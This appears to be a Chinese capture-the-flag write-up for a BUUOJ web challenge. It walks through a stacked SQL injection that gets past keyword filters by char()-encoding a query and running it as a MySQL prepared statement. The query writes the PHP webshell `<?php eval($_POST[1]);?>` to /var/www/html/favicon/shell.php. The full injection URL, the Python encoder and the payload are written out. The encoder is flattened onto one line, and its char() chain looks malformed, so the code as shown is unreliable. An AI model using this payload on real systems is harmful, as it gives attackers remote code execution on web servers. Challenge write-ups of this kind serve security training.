堆叠注入+sql文件写入
简单测试一下,题目会把 关键字 替换成 @@
看到注册信息和登录,很容易猜想到是二次注入
但是,8行
进入之后发现用户信息这里存在着注入
我们随意修改 ?id=1 的值,发现可以任意访问用户,说明这里存在越权
经过测试这里存在 bool,二次,异或等注入,但是关键词都被过滤了

;能使用并且无报错,可能可以使用堆叠注入
![J{Y0B_JL%~0)_6DUQ9_I{X.png
select union | & 这些都被过滤了
可以尝试使用 char() 绕过
我们需要写入
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/shell.php';
将其 十进制编码
str = "select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)for i in range(0,len_str):if i==0:print('char(%s'%ord(str[i]),end="")else:print(',char(%s'%ord(str[i]),end="")print(')')
将结果写入系统
这里要用到 mysql 预处理语句
set @sql = concat('create table ',newT,' like ',old);prepare s1 from @sql;execute s1;
http://59ab49c9-c6fb-453b-ae9b-52b8e66afef9.node3.buuoj.cn/user/user.php?id=2;set @sql=char(115,char(101,char(108,char(101,char(99,char(116,char(32,char(39,char(60,char(63,char(112,char(104,char(112,char(32,char(101,char(118,char(97,char(108,char(40,char(36,char(95,char(80,char(79,char(83,char(84,char(91,char(49,char(93,char(41,char(59,char(63,char(62,char(39,char(32,char(105,char(110,char(116,char(111,char(32,char(111,char(117,char(116,char(102,char(105,char(108,char(101,char(32,char(39,char(47,char(118,char(97,char(114,char(47,char(119,char(119,char(119,char(47,char(104,char(116,char(109,char(108,char(47,char(102,char(97,char(118,char(105,char(99,char(111,char(110,char(47,char(115,char(104,char(101,char(108,char(108,char(46,char(112,char(104,char(112,char(39,char(59);prepare query from @sql;execute query;
然后我们就可以访问 /favicon/shell.php ,成功上传一句话
